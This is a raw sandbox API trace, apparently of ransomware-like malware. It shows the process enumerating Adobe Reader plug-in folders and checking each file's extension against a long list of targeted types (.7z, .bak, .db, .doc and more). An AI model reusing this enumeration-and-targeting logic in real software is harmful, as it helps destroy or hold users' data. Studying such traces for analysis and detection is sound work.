lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.256] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.257] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.257] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0149.257] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0149.257] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.257] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.257] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.257] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0149.257] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0149.257] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.258] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.258] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.259] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0149.259] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0149.259] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.261] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.261] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.261] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0149.262] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0149.262] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.262] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0149.262] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0149.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0149.262] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0149.262] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0149.262] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.263] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0149.263] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.354] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.354] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0149.357] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.375] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0149.375] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.385] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.385] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0149.386] lstrlenW (lpString="Flash.CZE") returned 9 [0149.386] lstrlenW (lpString=".1cd") returned 4 [0149.386] lstrcmpiW (lpString1=".1cd", lpString2=".CZE") returned -1 [0149.386] lstrlenW (lpString=".3ds") returned 4 [0149.386] lstrcmpiW (lpString1=".3ds", lpString2=".CZE") returned -1 [0149.386] lstrlenW (lpString=".3fr") returned 4 [0149.386] lstrcmpiW (lpString1=".3fr", lpString2=".CZE") returned -1 [0149.386] lstrlenW (lpString=".3g2") returned 4 [0149.386] lstrcmpiW (lpString1=".3g2", lpString2=".CZE") returned -1 [0149.386] lstrlenW (lpString=".3gp") returned 4 [0149.386] lstrcmpiW (lpString1=".3gp", lpString2=".CZE") returned -1 [0149.386] lstrlenW (lpString=".7z") returned 3 [0149.386] lstrcmpiW (lpString1=".7z", lpString2="CZE") returned -1 [0149.386] lstrlenW (lpString=".accda") returned 6 [0149.386] lstrcmpiW (lpString1=".accda", lpString2="sh.CZE") returned -1 [0149.386] lstrlenW (lpString=".accdb") returned 6 [0149.386] lstrcmpiW (lpString1=".accdb", lpString2="sh.CZE") returned -1 [0149.386] lstrlenW (lpString=".accdc") returned 6 [0149.386] lstrcmpiW (lpString1=".accdc", lpString2="sh.CZE") returned -1 [0149.386] lstrlenW (lpString=".accde") returned 6 [0149.386] lstrcmpiW (lpString1=".accde", lpString2="sh.CZE") returned -1 [0149.386] lstrlenW (lpString=".accdt") returned 6 [0149.386] lstrcmpiW (lpString1=".accdt", lpString2="sh.CZE") returned -1 [0149.386] lstrlenW (lpString=".accdw") returned 6 [0149.386] lstrcmpiW (lpString1=".accdw", lpString2="sh.CZE") returned -1 [0149.387] lstrlenW (lpString=".adb") returned 4 [0149.387] lstrcmpiW (lpString1=".adb", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".adp") returned 4 [0149.387] lstrcmpiW (lpString1=".adp", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".ai") returned 3 [0149.387] lstrcmpiW (lpString1=".ai", lpString2="CZE") returned -1 [0149.387] lstrlenW (lpString=".ai3") returned 4 [0149.387] lstrcmpiW (lpString1=".ai3", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".ai4") returned 4 [0149.387] lstrcmpiW (lpString1=".ai4", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".ai5") returned 4 [0149.387] lstrcmpiW (lpString1=".ai5", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".ai6") returned 4 [0149.387] lstrcmpiW (lpString1=".ai6", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".ai7") returned 4 [0149.387] lstrcmpiW (lpString1=".ai7", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".ai8") returned 4 [0149.387] lstrcmpiW (lpString1=".ai8", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".anim") returned 5 [0149.387] lstrcmpiW (lpString1=".anim", lpString2="h.CZE") returned -1 [0149.387] lstrlenW (lpString=".arw") returned 4 [0149.387] lstrcmpiW (lpString1=".arw", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".as") returned 3 [0149.387] lstrcmpiW (lpString1=".as", lpString2="CZE") returned -1 [0149.387] lstrlenW (lpString=".asa") returned 4 [0149.387] lstrcmpiW (lpString1=".asa", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".asc") returned 4 [0149.387] lstrcmpiW (lpString1=".asc", lpString2=".CZE") returned -1 [0149.387] lstrlenW (lpString=".ascx") returned 5 [0149.387] lstrcmpiW (lpString1=".ascx", lpString2="h.CZE") returned -1 [0149.387] lstrlenW (lpString=".asm") returned 4 [0149.387] lstrcmpiW (lpString1=".asm", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".asmx") returned 5 [0149.388] lstrcmpiW (lpString1=".asmx", lpString2="h.CZE") returned -1 [0149.388] lstrlenW (lpString=".asp") returned 4 [0149.388] lstrcmpiW (lpString1=".asp", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".aspx") returned 5 [0149.388] lstrcmpiW (lpString1=".aspx", lpString2="h.CZE") returned -1 [0149.388] lstrlenW (lpString=".asr") returned 4 [0149.388] lstrcmpiW (lpString1=".asr", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".asx") returned 4 [0149.388] lstrcmpiW (lpString1=".asx", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".avi") returned 4 [0149.388] lstrcmpiW (lpString1=".avi", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".avs") returned 4 [0149.388] lstrcmpiW (lpString1=".avs", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".backup") returned 7 [0149.388] lstrcmpiW (lpString1=".backup", lpString2="ash.CZE") returned -1 [0149.388] lstrlenW (lpString=".bak") returned 4 [0149.388] lstrcmpiW (lpString1=".bak", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".bay") returned 4 [0149.388] lstrcmpiW (lpString1=".bay", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".bd") returned 3 [0149.388] lstrcmpiW (lpString1=".bd", lpString2="CZE") returned -1 [0149.388] lstrlenW (lpString=".bin") returned 4 [0149.388] lstrcmpiW (lpString1=".bin", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".bmp") returned 4 [0149.388] lstrcmpiW (lpString1=".bmp", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".bz2") returned 4 [0149.388] lstrcmpiW (lpString1=".bz2", lpString2=".CZE") returned -1 [0149.388] lstrlenW (lpString=".c") returned 2 [0149.388] lstrcmpiW (lpString1=".c", lpString2="ZE") returned -1 [0149.388] lstrlenW (lpString=".cdr") returned 4 [0149.388] lstrcmpiW (lpString1=".cdr", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".cer") returned 4 [0149.389] lstrcmpiW (lpString1=".cer", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".cf") returned 3 [0149.389] lstrcmpiW (lpString1=".cf", lpString2="CZE") returned -1 [0149.389] lstrlenW (lpString=".cfc") returned 4 [0149.389] lstrcmpiW (lpString1=".cfc", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".cfm") returned 4 [0149.389] lstrcmpiW (lpString1=".cfm", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".cfml") returned 5 [0149.389] lstrcmpiW (lpString1=".cfml", lpString2="h.CZE") returned -1 [0149.389] lstrlenW (lpString=".cfu") returned 4 [0149.389] lstrcmpiW (lpString1=".cfu", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".chm") returned 4 [0149.389] lstrcmpiW (lpString1=".chm", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".cin") returned 4 [0149.389] lstrcmpiW (lpString1=".cin", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".class") returned 6 [0149.389] lstrcmpiW (lpString1=".class", lpString2="sh.CZE") returned -1 [0149.389] lstrlenW (lpString=".clx") returned 4 [0149.389] lstrcmpiW (lpString1=".clx", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".config") returned 7 [0149.389] lstrcmpiW (lpString1=".config", lpString2="ash.CZE") returned -1 [0149.389] lstrlenW (lpString=".cpp") returned 4 [0149.389] lstrcmpiW (lpString1=".cpp", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".cr2") returned 4 [0149.389] lstrcmpiW (lpString1=".cr2", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".crt") returned 4 [0149.389] lstrcmpiW (lpString1=".crt", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".crw") returned 4 [0149.389] lstrcmpiW (lpString1=".crw", lpString2=".CZE") returned -1 [0149.389] lstrlenW (lpString=".cs") returned 3 [0149.389] lstrcmpiW (lpString1=".cs", lpString2="CZE") returned -1 [0149.389] lstrlenW (lpString=".css") returned 4 [0149.390] lstrcmpiW (lpString1=".css", lpString2=".CZE") returned -1 [0149.390] lstrlenW (lpString=".csv") returned 4 [0149.390] lstrcmpiW (lpString1=".csv", lpString2=".CZE") returned -1 [0149.390] lstrlenW (lpString=".cub") returned 4 [0149.390] lstrcmpiW (lpString1=".cub", lpString2=".CZE") returned -1 [0149.390] lstrlenW (lpString=".dae") returned 4 [0149.390] lstrcmpiW (lpString1=".dae", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".dat") returned 4 [0149.390] lstrcmpiW (lpString1=".dat", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".db") returned 3 [0149.390] lstrcmpiW (lpString1=".db", lpString2="CZE") returned -1 [0149.390] lstrlenW (lpString=".dbf") returned 4 [0149.390] lstrcmpiW (lpString1=".dbf", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".dbx") returned 4 [0149.390] lstrcmpiW (lpString1=".dbx", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".dc3") returned 4 [0149.390] lstrcmpiW (lpString1=".dc3", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".dcm") returned 4 [0149.390] lstrcmpiW (lpString1=".dcm", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".dcr") returned 4 [0149.390] lstrcmpiW (lpString1=".dcr", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".der") returned 4 [0149.390] lstrcmpiW (lpString1=".der", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".dib") returned 4 [0149.390] lstrcmpiW (lpString1=".dib", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".dic") returned 4 [0149.390] lstrcmpiW (lpString1=".dic", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".dif") returned 4 [0149.390] lstrcmpiW (lpString1=".dif", lpString2=".CZE") returned 1 [0149.390] lstrlenW (lpString=".divx") returned 5 [0149.390] lstrcmpiW (lpString1=".divx", lpString2="h.CZE") returned -1 [0149.390] lstrlenW (lpString=".djvu") returned 5 [0149.391] lstrcmpiW (lpString1=".djvu", lpString2="h.CZE") returned -1 [0149.391] lstrlenW (lpString=".dng") returned 4 [0149.391] lstrcmpiW (lpString1=".dng", lpString2=".CZE") returned 1 [0149.391] lstrlenW (lpString=".doc") returned 4 [0149.391] lstrcmpiW (lpString1=".doc", lpString2=".CZE") returned 1 [0149.391] lstrlenW (lpString=".docm") 